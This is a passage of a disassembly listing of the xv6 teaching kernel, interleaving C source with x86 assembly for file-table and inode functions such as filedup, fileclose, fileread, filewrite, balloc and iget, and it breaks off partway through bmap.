f->ref = 1;
801010b5: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx)
release(&ftable.lock);
801010bc: 68 80 02 11 80 push $0x80110280
801010c1: e8 4a 36 00 00 call 80104710 <release>
return f;
}
}
release(&ftable.lock);
return 0;
}
801010c6: 89 d8 mov %ebx,%eax
return f;
801010c8: 83 c4 10 add $0x10,%esp
}
801010cb: 8b 5d fc mov -0x4(%ebp),%ebx
801010ce: c9 leave
801010cf: c3 ret
release(&ftable.lock);
801010d0: 83 ec 0c sub $0xc,%esp
return 0;
801010d3: 31 db xor %ebx,%ebx
release(&ftable.lock);
801010d5: 68 80 02 11 80 push $0x80110280
801010da: e8 31 36 00 00 call 80104710 <release>
}
801010df: 89 d8 mov %ebx,%eax
return 0;
801010e1: 83 c4 10 add $0x10,%esp
}
801010e4: 8b 5d fc mov -0x4(%ebp),%ebx
801010e7: c9 leave
801010e8: c3 ret
801010e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801010f0 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
801010f0: 55 push %ebp
801010f1: 89 e5 mov %esp,%ebp
801010f3: 53 push %ebx
801010f4: 83 ec 10 sub $0x10,%esp
801010f7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ftable.lock);
801010fa: 68 80 02 11 80 push $0x80110280
801010ff: e8 4c 35 00 00 call 80104650 <acquire>
if(f->ref < 1)
80101104: 8b 43 04 mov 0x4(%ebx),%eax
80101107: 83 c4 10 add $0x10,%esp
8010110a: 85 c0 test %eax,%eax
8010110c: 7e 1a jle 80101128 <filedup+0x38>
panic("filedup");
f->ref++;
8010110e: 83 c0 01 add $0x1,%eax
release(&ftable.lock);
80101111: 83 ec 0c sub $0xc,%esp
f->ref++;
80101114: 89 43 04 mov %eax,0x4(%ebx)
release(&ftable.lock);
80101117: 68 80 02 11 80 push $0x80110280
8010111c: e8 ef 35 00 00 call 80104710 <release>
return f;
}
80101121: 89 d8 mov %ebx,%eax
80101123: 8b 5d fc mov -0x4(%ebp),%ebx
80101126: c9 leave
80101127: c3 ret
panic("filedup");
80101128: 83 ec 0c sub $0xc,%esp
8010112b: 68 54 72 10 80 push $0x80107254
80101130: e8 5b f2 ff ff call 80100390 <panic>
80101135: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101140 <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80101140: 55 push %ebp
80101141: 89 e5 mov %esp,%ebp
80101143: 57 push %edi
80101144: 56 push %esi
80101145: 53 push %ebx
80101146: 83 ec 28 sub $0x28,%esp
80101149: 8b 5d 08 mov 0x8(%ebp),%ebx
struct file ff;
acquire(&ftable.lock);
8010114c: 68 80 02 11 80 push $0x80110280
80101151: e8 fa 34 00 00 call 80104650 <acquire>
if(f->ref < 1)
80101156: 8b 43 04 mov 0x4(%ebx),%eax
80101159: 83 c4 10 add $0x10,%esp
8010115c: 85 c0 test %eax,%eax
8010115e: 0f 8e 9b 00 00 00 jle 801011ff <fileclose+0xbf>
panic("fileclose");
if(--f->ref > 0){
80101164: 83 e8 01 sub $0x1,%eax
80101167: 85 c0 test %eax,%eax
80101169: 89 43 04 mov %eax,0x4(%ebx)
8010116c: 74 1a je 80101188 <fileclose+0x48>
release(&ftable.lock);
8010116e: c7 45 08 80 02 11 80 movl $0x80110280,0x8(%ebp)
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
}
}
80101175: 8d 65 f4 lea -0xc(%ebp),%esp
80101178: 5b pop %ebx
80101179: 5e pop %esi
8010117a: 5f pop %edi
8010117b: 5d pop %ebp
release(&ftable.lock);
8010117c: e9 8f 35 00 00 jmp 80104710 <release>
80101181: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
ff = *f;
80101188: 0f b6 43 09 movzbl 0x9(%ebx),%eax
8010118c: 8b 3b mov (%ebx),%edi
release(&ftable.lock);
8010118e: 83 ec 0c sub $0xc,%esp
ff = *f;
80101191: 8b 73 0c mov 0xc(%ebx),%esi
f->type = FD_NONE;
80101194: c7 03 00 00 00 00 movl $0x0,(%ebx)
ff = *f;
8010119a: 88 45 e7 mov %al,-0x19(%ebp)
8010119d: 8b 43 10 mov 0x10(%ebx),%eax
release(&ftable.lock);
801011a0: 68 80 02 11 80 push $0x80110280
ff = *f;
801011a5: 89 45 e0 mov %eax,-0x20(%ebp)
release(&ftable.lock);
801011a8: e8 63 35 00 00 call 80104710 <release>
if(ff.type == FD_PIPE)
801011ad: 83 c4 10 add $0x10,%esp
801011b0: 83 ff 01 cmp $0x1,%edi
801011b3: 74 13 je 801011c8 <fileclose+0x88>
else if(ff.type == FD_INODE){
801011b5: 83 ff 02 cmp $0x2,%edi
801011b8: 74 26 je 801011e0 <fileclose+0xa0>
}
801011ba: 8d 65 f4 lea -0xc(%ebp),%esp
801011bd: 5b pop %ebx
801011be: 5e pop %esi
801011bf: 5f pop %edi
801011c0: 5d pop %ebp
801011c1: c3 ret
801011c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pipeclose(ff.pipe, ff.writable);
801011c8: 0f be 5d e7 movsbl -0x19(%ebp),%ebx
801011cc: 83 ec 08 sub $0x8,%esp
801011cf: 53 push %ebx
801011d0: 56 push %esi
801011d1: e8 8a 24 00 00 call 80103660 <pipeclose>
801011d6: 83 c4 10 add $0x10,%esp
801011d9: eb df jmp 801011ba <fileclose+0x7a>
801011db: 90 nop
801011dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
begin_op();
801011e0: e8 cb 1c 00 00 call 80102eb0 <begin_op>
iput(ff.ip);
801011e5: 83 ec 0c sub $0xc,%esp
801011e8: ff 75 e0 pushl -0x20(%ebp)
801011eb: e8 d0 08 00 00 call 80101ac0 <iput>
end_op();
801011f0: 83 c4 10 add $0x10,%esp
}
801011f3: 8d 65 f4 lea -0xc(%ebp),%esp
801011f6: 5b pop %ebx
801011f7: 5e pop %esi
801011f8: 5f pop %edi
801011f9: 5d pop %ebp
end_op();
801011fa: e9 21 1d 00 00 jmp 80102f20 <end_op>
panic("fileclose");
801011ff: 83 ec 0c sub $0xc,%esp
80101202: 68 5c 72 10 80 push $0x8010725c
80101207: e8 84 f1 ff ff call 80100390 <panic>
8010120c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101210 <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80101210: 55 push %ebp
80101211: 89 e5 mov %esp,%ebp
80101213: 53 push %ebx
80101214: 83 ec 04 sub $0x4,%esp
80101217: 8b 5d 08 mov 0x8(%ebp),%ebx
if(f->type == FD_INODE){
8010121a: 83 3b 02 cmpl $0x2,(%ebx)
8010121d: 75 31 jne 80101250 <filestat+0x40>
ilock(f->ip);
8010121f: 83 ec 0c sub $0xc,%esp
80101222: ff 73 10 pushl 0x10(%ebx)
80101225: e8 66 07 00 00 call 80101990 <ilock>
stati(f->ip, st);
8010122a: 58 pop %eax
8010122b: 5a pop %edx
8010122c: ff 75 0c pushl 0xc(%ebp)
8010122f: ff 73 10 pushl 0x10(%ebx)
80101232: e8 09 0a 00 00 call 80101c40 <stati>
iunlock(f->ip);
80101237: 59 pop %ecx
80101238: ff 73 10 pushl 0x10(%ebx)
8010123b: e8 30 08 00 00 call 80101a70 <iunlock>
return 0;
80101240: 83 c4 10 add $0x10,%esp
80101243: 31 c0 xor %eax,%eax
}
return -1;
}
80101245: 8b 5d fc mov -0x4(%ebp),%ebx
80101248: c9 leave
80101249: c3 ret
8010124a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80101250: b8 ff ff ff ff mov $0xffffffff,%eax
80101255: eb ee jmp 80101245 <filestat+0x35>
80101257: 89 f6 mov %esi,%esi
80101259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101260 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
80101260: 55 push %ebp
80101261: 89 e5 mov %esp,%ebp
80101263: 57 push %edi
80101264: 56 push %esi
80101265: 53 push %ebx
80101266: 83 ec 0c sub $0xc,%esp
80101269: 8b 5d 08 mov 0x8(%ebp),%ebx
8010126c: 8b 75 0c mov 0xc(%ebp),%esi
8010126f: 8b 7d 10 mov 0x10(%ebp),%edi
int r;
if(f->readable == 0)
80101272: 80 7b 08 00 cmpb $0x0,0x8(%ebx)
80101276: 74 60 je 801012d8 <fileread+0x78>
return -1;
if(f->type == FD_PIPE)
80101278: 8b 03 mov (%ebx),%eax
8010127a: 83 f8 01 cmp $0x1,%eax
8010127d: 74 41 je 801012c0 <fileread+0x60>
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
8010127f: 83 f8 02 cmp $0x2,%eax
80101282: 75 5b jne 801012df <fileread+0x7f>
ilock(f->ip);
80101284: 83 ec 0c sub $0xc,%esp
80101287: ff 73 10 pushl 0x10(%ebx)
8010128a: e8 01 07 00 00 call 80101990 <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
8010128f: 57 push %edi
80101290: ff 73 14 pushl 0x14(%ebx)
80101293: 56 push %esi
80101294: ff 73 10 pushl 0x10(%ebx)
80101297: e8 d4 09 00 00 call 80101c70 <readi>
8010129c: 83 c4 20 add $0x20,%esp
8010129f: 85 c0 test %eax,%eax
801012a1: 89 c6 mov %eax,%esi
801012a3: 7e 03 jle 801012a8 <fileread+0x48>
f->off += r;
801012a5: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
801012a8: 83 ec 0c sub $0xc,%esp
801012ab: ff 73 10 pushl 0x10(%ebx)
801012ae: e8 bd 07 00 00 call 80101a70 <iunlock>
return r;
801012b3: 83 c4 10 add $0x10,%esp
}
panic("fileread");
}
801012b6: 8d 65 f4 lea -0xc(%ebp),%esp
801012b9: 89 f0 mov %esi,%eax
801012bb: 5b pop %ebx
801012bc: 5e pop %esi
801012bd: 5f pop %edi
801012be: 5d pop %ebp
801012bf: c3 ret
return piperead(f->pipe, addr, n);
801012c0: 8b 43 0c mov 0xc(%ebx),%eax
801012c3: 89 45 08 mov %eax,0x8(%ebp)
}
801012c6: 8d 65 f4 lea -0xc(%ebp),%esp
801012c9: 5b pop %ebx
801012ca: 5e pop %esi
801012cb: 5f pop %edi
801012cc: 5d pop %ebp
return piperead(f->pipe, addr, n);
801012cd: e9 3e 25 00 00 jmp 80103810 <piperead>
801012d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
801012d8: be ff ff ff ff mov $0xffffffff,%esi
801012dd: eb d7 jmp 801012b6 <fileread+0x56>
panic("fileread");
801012df: 83 ec 0c sub $0xc,%esp
801012e2: 68 66 72 10 80 push $0x80107266
801012e7: e8 a4 f0 ff ff call 80100390 <panic>
801012ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801012f0 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
801012f0: 55 push %ebp
801012f1: 89 e5 mov %esp,%ebp
801012f3: 57 push %edi
801012f4: 56 push %esi
801012f5: 53 push %ebx
801012f6: 83 ec 1c sub $0x1c,%esp
801012f9: 8b 75 08 mov 0x8(%ebp),%esi
801012fc: 8b 45 0c mov 0xc(%ebp),%eax
int r;
if(f->writable == 0)
801012ff: 80 7e 09 00 cmpb $0x0,0x9(%esi)
{
80101303: 89 45 dc mov %eax,-0x24(%ebp)
80101306: 8b 45 10 mov 0x10(%ebp),%eax
80101309: 89 45 e4 mov %eax,-0x1c(%ebp)
if(f->writable == 0)
8010130c: 0f 84 aa 00 00 00 je 801013bc <filewrite+0xcc>
return -1;
if(f->type == FD_PIPE)
80101312: 8b 06 mov (%esi),%eax
80101314: 83 f8 01 cmp $0x1,%eax
80101317: 0f 84 c3 00 00 00 je 801013e0 <filewrite+0xf0>
return pipewrite(f->pipe, addr, n);
if(f->type == FD_INODE){
8010131d: 83 f8 02 cmp $0x2,%eax
80101320: 0f 85 d9 00 00 00 jne 801013ff <filewrite+0x10f>
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
80101326: 8b 45 e4 mov -0x1c(%ebp),%eax
int i = 0;
80101329: 31 ff xor %edi,%edi
while(i < n){
8010132b: 85 c0 test %eax,%eax
8010132d: 7f 34 jg 80101363 <filewrite+0x73>
8010132f: e9 9c 00 00 00 jmp 801013d0 <filewrite+0xe0>
80101334: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n1 = max;
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
80101338: 01 46 14 add %eax,0x14(%esi)
iunlock(f->ip);
8010133b: 83 ec 0c sub $0xc,%esp
8010133e: ff 76 10 pushl 0x10(%esi)
f->off += r;
80101341: 89 45 e0 mov %eax,-0x20(%ebp)
iunlock(f->ip);
80101344: e8 27 07 00 00 call 80101a70 <iunlock>
end_op();
80101349: e8 d2 1b 00 00 call 80102f20 <end_op>
8010134e: 8b 45 e0 mov -0x20(%ebp),%eax
80101351: 83 c4 10 add $0x10,%esp
if(r < 0)
break;
if(r != n1)
80101354: 39 c3 cmp %eax,%ebx
80101356: 0f 85 96 00 00 00 jne 801013f2 <filewrite+0x102>
panic("short filewrite");
i += r;
8010135c: 01 df add %ebx,%edi
while(i < n){
8010135e: 39 7d e4 cmp %edi,-0x1c(%ebp)
80101361: 7e 6d jle 801013d0 <filewrite+0xe0>
int n1 = n - i;
80101363: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101366: b8 00 06 00 00 mov $0x600,%eax
8010136b: 29 fb sub %edi,%ebx
8010136d: 81 fb 00 06 00 00 cmp $0x600,%ebx
80101373: 0f 4f d8 cmovg %eax,%ebx
begin_op();
80101376: e8 35 1b 00 00 call 80102eb0 <begin_op>
ilock(f->ip);
8010137b: 83 ec 0c sub $0xc,%esp
8010137e: ff 76 10 pushl 0x10(%esi)
80101381: e8 0a 06 00 00 call 80101990 <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101386: 8b 45 dc mov -0x24(%ebp),%eax
80101389: 53 push %ebx
8010138a: ff 76 14 pushl 0x14(%esi)
8010138d: 01 f8 add %edi,%eax
8010138f: 50 push %eax
80101390: ff 76 10 pushl 0x10(%esi)
80101393: e8 d8 09 00 00 call 80101d70 <writei>
80101398: 83 c4 20 add $0x20,%esp
8010139b: 85 c0 test %eax,%eax
8010139d: 7f 99 jg 80101338 <filewrite+0x48>
iunlock(f->ip);
8010139f: 83 ec 0c sub $0xc,%esp
801013a2: ff 76 10 pushl 0x10(%esi)
801013a5: 89 45 e0 mov %eax,-0x20(%ebp)
801013a8: e8 c3 06 00 00 call 80101a70 <iunlock>
end_op();
801013ad: e8 6e 1b 00 00 call 80102f20 <end_op>
if(r < 0)
801013b2: 8b 45 e0 mov -0x20(%ebp),%eax
801013b5: 83 c4 10 add $0x10,%esp
801013b8: 85 c0 test %eax,%eax
801013ba: 74 98 je 80101354 <filewrite+0x64>
}
return i == n ? n : -1;
}
panic("filewrite");
}
801013bc: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
801013bf: bf ff ff ff ff mov $0xffffffff,%edi
}
801013c4: 89 f8 mov %edi,%eax
801013c6: 5b pop %ebx
801013c7: 5e pop %esi
801013c8: 5f pop %edi
801013c9: 5d pop %ebp
801013ca: c3 ret
801013cb: 90 nop
801013cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return i == n ? n : -1;
801013d0: 39 7d e4 cmp %edi,-0x1c(%ebp)
801013d3: 75 e7 jne 801013bc <filewrite+0xcc>
}
801013d5: 8d 65 f4 lea -0xc(%ebp),%esp
801013d8: 89 f8 mov %edi,%eax
801013da: 5b pop %ebx
801013db: 5e pop %esi
801013dc: 5f pop %edi
801013dd: 5d pop %ebp
801013de: c3 ret
801013df: 90 nop
return pipewrite(f->pipe, addr, n);
801013e0: 8b 46 0c mov 0xc(%esi),%eax
801013e3: 89 45 08 mov %eax,0x8(%ebp)
}
801013e6: 8d 65 f4 lea -0xc(%ebp),%esp
801013e9: 5b pop %ebx
801013ea: 5e pop %esi
801013eb: 5f pop %edi
801013ec: 5d pop %ebp
return pipewrite(f->pipe, addr, n);
801013ed: e9 0e 23 00 00 jmp 80103700 <pipewrite>
panic("short filewrite");
801013f2: 83 ec 0c sub $0xc,%esp
801013f5: 68 6f 72 10 80 push $0x8010726f
801013fa: e8 91 ef ff ff call 80100390 <panic>
panic("filewrite");
801013ff: 83 ec 0c sub $0xc,%esp
80101402: 68 75 72 10 80 push $0x80107275
80101407: e8 84 ef ff ff call 80100390 <panic>
8010140c: 66 90 xchg %ax,%ax
8010140e: 66 90 xchg %ax,%ax
80101410 <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
80101410: 55 push %ebp
80101411: 89 e5 mov %esp,%ebp
80101413: 57 push %edi
80101414: 56 push %esi
80101415: 53 push %ebx
80101416: 83 ec 1c sub $0x1c,%esp
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
80101419: 8b 0d 80 0c 11 80 mov 0x80110c80,%ecx
{
8010141f: 89 45 d8 mov %eax,-0x28(%ebp)
for(b = 0; b < sb.size; b += BPB){
80101422: 85 c9 test %ecx,%ecx
80101424: 0f 84 87 00 00 00 je 801014b1 <balloc+0xa1>
8010142a: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
bp = bread(dev, BBLOCK(b, sb));
80101431: 8b 75 dc mov -0x24(%ebp),%esi
80101434: 83 ec 08 sub $0x8,%esp
80101437: 89 f0 mov %esi,%eax
80101439: c1 f8 0c sar $0xc,%eax
8010143c: 03 05 98 0c 11 80 add 0x80110c98,%eax
80101442: 50 push %eax
80101443: ff 75 d8 pushl -0x28(%ebp)
80101446: e8 85 ec ff ff call 801000d0 <bread>
8010144b: 89 45 e4 mov %eax,-0x1c(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
8010144e: a1 80 0c 11 80 mov 0x80110c80,%eax
80101453: 83 c4 10 add $0x10,%esp
80101456: 89 45 e0 mov %eax,-0x20(%ebp)
80101459: 31 c0 xor %eax,%eax
8010145b: eb 2f jmp 8010148c <balloc+0x7c>
8010145d: 8d 76 00 lea 0x0(%esi),%esi
m = 1 << (bi % 8);
80101460: 89 c1 mov %eax,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101462: 8b 55 e4 mov -0x1c(%ebp),%edx
m = 1 << (bi % 8);
80101465: bb 01 00 00 00 mov $0x1,%ebx
8010146a: 83 e1 07 and $0x7,%ecx
8010146d: d3 e3 shl %cl,%ebx
if((bp->data[bi/8] & m) == 0){ // Is block free?
8010146f: 89 c1 mov %eax,%ecx
80101471: c1 f9 03 sar $0x3,%ecx
80101474: 0f b6 7c 0a 5c movzbl 0x5c(%edx,%ecx,1),%edi
80101479: 85 df test %ebx,%edi
8010147b: 89 fa mov %edi,%edx
8010147d: 74 41 je 801014c0 <balloc+0xb0>
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
8010147f: 83 c0 01 add $0x1,%eax
80101482: 83 c6 01 add $0x1,%esi
80101485: 3d 00 10 00 00 cmp $0x1000,%eax
8010148a: 74 05 je 80101491 <balloc+0x81>
8010148c: 39 75 e0 cmp %esi,-0x20(%ebp)
8010148f: 77 cf ja 80101460 <balloc+0x50>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
80101491: 83 ec 0c sub $0xc,%esp
80101494: ff 75 e4 pushl -0x1c(%ebp)
80101497: e8 44 ed ff ff call 801001e0 <brelse>
for(b = 0; b < sb.size; b += BPB){
8010149c: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp)
801014a3: 83 c4 10 add $0x10,%esp
801014a6: 8b 45 dc mov -0x24(%ebp),%eax
801014a9: 39 05 80 0c 11 80 cmp %eax,0x80110c80
801014af: 77 80 ja 80101431 <balloc+0x21>
}
panic("balloc: out of blocks");
801014b1: 83 ec 0c sub $0xc,%esp
801014b4: 68 7f 72 10 80 push $0x8010727f
801014b9: e8 d2 ee ff ff call 80100390 <panic>
801014be: 66 90 xchg %ax,%ax
bp->data[bi/8] |= m; // Mark block in use.
801014c0: 8b 7d e4 mov -0x1c(%ebp),%edi
log_write(bp);
801014c3: 83 ec 0c sub $0xc,%esp
bp->data[bi/8] |= m; // Mark block in use.
801014c6: 09 da or %ebx,%edx
801014c8: 88 54 0f 5c mov %dl,0x5c(%edi,%ecx,1)
log_write(bp);
801014cc: 57 push %edi
801014cd: e8 ae 1b 00 00 call 80103080 <log_write>
brelse(bp);
801014d2: 89 3c 24 mov %edi,(%esp)
801014d5: e8 06 ed ff ff call 801001e0 <brelse>
bp = bread(dev, bno);
801014da: 58 pop %eax
801014db: 5a pop %edx
801014dc: 56 push %esi
801014dd: ff 75 d8 pushl -0x28(%ebp)
801014e0: e8 eb eb ff ff call 801000d0 <bread>
801014e5: 89 c3 mov %eax,%ebx
memset(bp->data, 0, BSIZE);
801014e7: 8d 40 5c lea 0x5c(%eax),%eax
801014ea: 83 c4 0c add $0xc,%esp
801014ed: 68 00 02 00 00 push $0x200
801014f2: 6a 00 push $0x0
801014f4: 50 push %eax
801014f5: e8 66 32 00 00 call 80104760 <memset>
log_write(bp);
801014fa: 89 1c 24 mov %ebx,(%esp)
801014fd: e8 7e 1b 00 00 call 80103080 <log_write>
brelse(bp);
80101502: 89 1c 24 mov %ebx,(%esp)
80101505: e8 d6 ec ff ff call 801001e0 <brelse>
}
8010150a: 8d 65 f4 lea -0xc(%ebp),%esp
8010150d: 89 f0 mov %esi,%eax
8010150f: 5b pop %ebx
80101510: 5e pop %esi
80101511: 5f pop %edi
80101512: 5d pop %ebp
80101513: c3 ret
80101514: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010151a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80101520 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101520: 55 push %ebp
80101521: 89 e5 mov %esp,%ebp
80101523: 57 push %edi
80101524: 56 push %esi
80101525: 53 push %ebx
80101526: 89 c7 mov %eax,%edi
struct inode *ip, *empty;
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
80101528: 31 f6 xor %esi,%esi
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010152a: bb d4 0c 11 80 mov $0x80110cd4,%ebx
{
8010152f: 83 ec 28 sub $0x28,%esp
80101532: 89 55 e4 mov %edx,-0x1c(%ebp)
acquire(&icache.lock);
80101535: 68 a0 0c 11 80 push $0x80110ca0
8010153a: e8 11 31 00 00 call 80104650 <acquire>
8010153f: 83 c4 10 add $0x10,%esp
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101542: 8b 55 e4 mov -0x1c(%ebp),%edx
80101545: eb 17 jmp 8010155e <iget+0x3e>
80101547: 89 f6 mov %esi,%esi
80101549: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101550: 81 c3 90 00 00 00 add $0x90,%ebx
80101556: 81 fb f4 28 11 80 cmp $0x801128f4,%ebx
8010155c: 73 22 jae 80101580 <iget+0x60>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
8010155e: 8b 4b 08 mov 0x8(%ebx),%ecx
80101561: 85 c9 test %ecx,%ecx
80101563: 7e 04 jle 80101569 <iget+0x49>
80101565: 39 3b cmp %edi,(%ebx)
80101567: 74 4f je 801015b8 <iget+0x98>
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
80101569: 85 f6 test %esi,%esi
8010156b: 75 e3 jne 80101550 <iget+0x30>
8010156d: 85 c9 test %ecx,%ecx
8010156f: 0f 44 f3 cmove %ebx,%esi
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101572: 81 c3 90 00 00 00 add $0x90,%ebx
80101578: 81 fb f4 28 11 80 cmp $0x801128f4,%ebx
8010157e: 72 de jb 8010155e <iget+0x3e>
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
80101580: 85 f6 test %esi,%esi
80101582: 74 5b je 801015df <iget+0xbf>
ip = empty;
ip->dev = dev;
ip->inum = inum;
ip->ref = 1;
ip->valid = 0;
release(&icache.lock);
80101584: 83 ec 0c sub $0xc,%esp
ip->dev = dev;
80101587: 89 3e mov %edi,(%esi)
ip->inum = inum;
80101589: 89 56 04 mov %edx,0x4(%esi)
ip->ref = 1;
8010158c: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi)
ip->valid = 0;
80101593: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
release(&icache.lock);
8010159a: 68 a0 0c 11 80 push $0x80110ca0
8010159f: e8 6c 31 00 00 call 80104710 <release>
return ip;
801015a4: 83 c4 10 add $0x10,%esp
}
801015a7: 8d 65 f4 lea -0xc(%ebp),%esp
801015aa: 89 f0 mov %esi,%eax
801015ac: 5b pop %ebx
801015ad: 5e pop %esi
801015ae: 5f pop %edi
801015af: 5d pop %ebp
801015b0: c3 ret
801015b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
801015b8: 39 53 04 cmp %edx,0x4(%ebx)
801015bb: 75 ac jne 80101569 <iget+0x49>
release(&icache.lock);
801015bd: 83 ec 0c sub $0xc,%esp
ip->ref++;
801015c0: 83 c1 01 add $0x1,%ecx
return ip;
801015c3: 89 de mov %ebx,%esi
release(&icache.lock);
801015c5: 68 a0 0c 11 80 push $0x80110ca0
ip->ref++;
801015ca: 89 4b 08 mov %ecx,0x8(%ebx)
release(&icache.lock);
801015cd: e8 3e 31 00 00 call 80104710 <release>
return ip;
801015d2: 83 c4 10 add $0x10,%esp
}
801015d5: 8d 65 f4 lea -0xc(%ebp),%esp
801015d8: 89 f0 mov %esi,%eax
801015da: 5b pop %ebx
801015db: 5e pop %esi
801015dc: 5f pop %edi
801015dd: 5d pop %ebp
801015de: c3 ret
panic("iget: no inodes");
801015df: 83 ec 0c sub $0xc,%esp
801015e2: 68 95 72 10 80 push $0x80107295
801015e7: e8 a4 ed ff ff call 80100390 <panic>
801015ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801015f0 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
801015f0: 55 push %ebp
801015f1: 89 e5 mov %esp,%ebp
801015f3: 57 push %edi
801015f4: 56 push %esi
801015f5: 53 push %ebx
801015f6: 89 c6 mov %eax,%esi
801015f8: 83 ec 1c sub $0x1c,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
801015fb: 83 fa 0b cmp $0xb,%edx
801015fe: 77 18 ja 80101618 <bmap+0x28>
80101600: 8d 3c 90 lea (%eax,%edx,4),%edi
if((addr = ip->addrs[bn]) == 0)
80101603: 8b 5f 5c mov 0x5c(%edi),%ebx
80101606: 85 db test %ebx,%ebx
80101608: 74 76 je 80101680 <bmap+0x90>
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
8010160a: 8d 65 f4 lea -0xc(%ebp),%esp
8010160d: 89 d8 mov %ebx,%eax
8010160f: 5b pop %ebx
80101610: 5e pop %esi
80101611: 5f pop %edi
80101612: 5d pop %ebp
80101613: c3 ret
80101614: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bn -= NDIRECT;
80101618: 8d 5a f4 lea -0xc(%edx),%ebx
if(bn < NINDIRECT){
8010161b: 83 fb 7f cmp $0x7f,%ebx
8010161e: 0f 87 90 00 00 00 ja 801016b4 <bmap+0xc4>
if((addr = ip->addrs[NDIRECT]) == 0)
80101624: 8b 90 8c 00 00 00 mov 0x8c(%eax),%edx
8010162a: 8b 00 mov (%eax),%eax
8010162c: 85 d2 test %edx,%edx
8010162e: 74 70 je 801016a0 <bmap+0xb0>
bp = bread(ip->dev, addr);
80101630: 83 ec 08 sub $0x8,%esp
80101633: 52 push %edx
80101634: 50 push %eax
80101635: e8 96 ea ff ff call 801000d0 <bread>
if((addr = a[bn]) == 0){
8010163a: 8d 54 98 5c lea 0x5c(%eax,%ebx,4),%edx
8010163e: 83 c4 10 add $0x10,%esp
bp = bread(ip->dev, addr);
80101641: 89 c7 mov %eax,%edi
if((addr = a[bn]) == 0){
80101643: 8b 1a mov (%edx),%ebx
80101645: 85 db test %ebx,%ebx
80101647: 75 1d jne 80101666 <bmap+0x76>
a[bn] = addr = balloc(ip->dev);
80101649: 8b 06 mov (%esi),%eax
8010164b: 89 55 e4 mov %edx,-0x1c(%ebp)
8010164e: e8 bd fd ff ff call 80101410 <balloc>
80101653: 8b 55 e4 mov -0x1c(%ebp),%edx
log_write(bp);
80101656: 83 ec 0c sub $0xc,%esp
a[bn] = addr = balloc(ip->dev);
80101659: 89 c3 mov %eax,%ebx
8010165b: 89 02 mov %eax,(%edx)
log_write(bp);
8010165d: 57 push %edi
8010165e: e8 1d 1a 00 00 call 80103080 <log_write>
80101663: 83 c4 10 add $0x10,%esp
brelse(bp);
80101666: 83 ec 0c sub $0xc,%esp
80101669: 57 push %edi
8010166a: e8 71 eb ff ff call 801001e0 <brelse>
8010166f: 83 c4 10 add $0x10,%esp
}
80101672: 8d 65 f4 lea -0xc(%ebp),%esp
80101675: 89 d8 mov %ebx,%eax
80101677: 5b pop %ebx
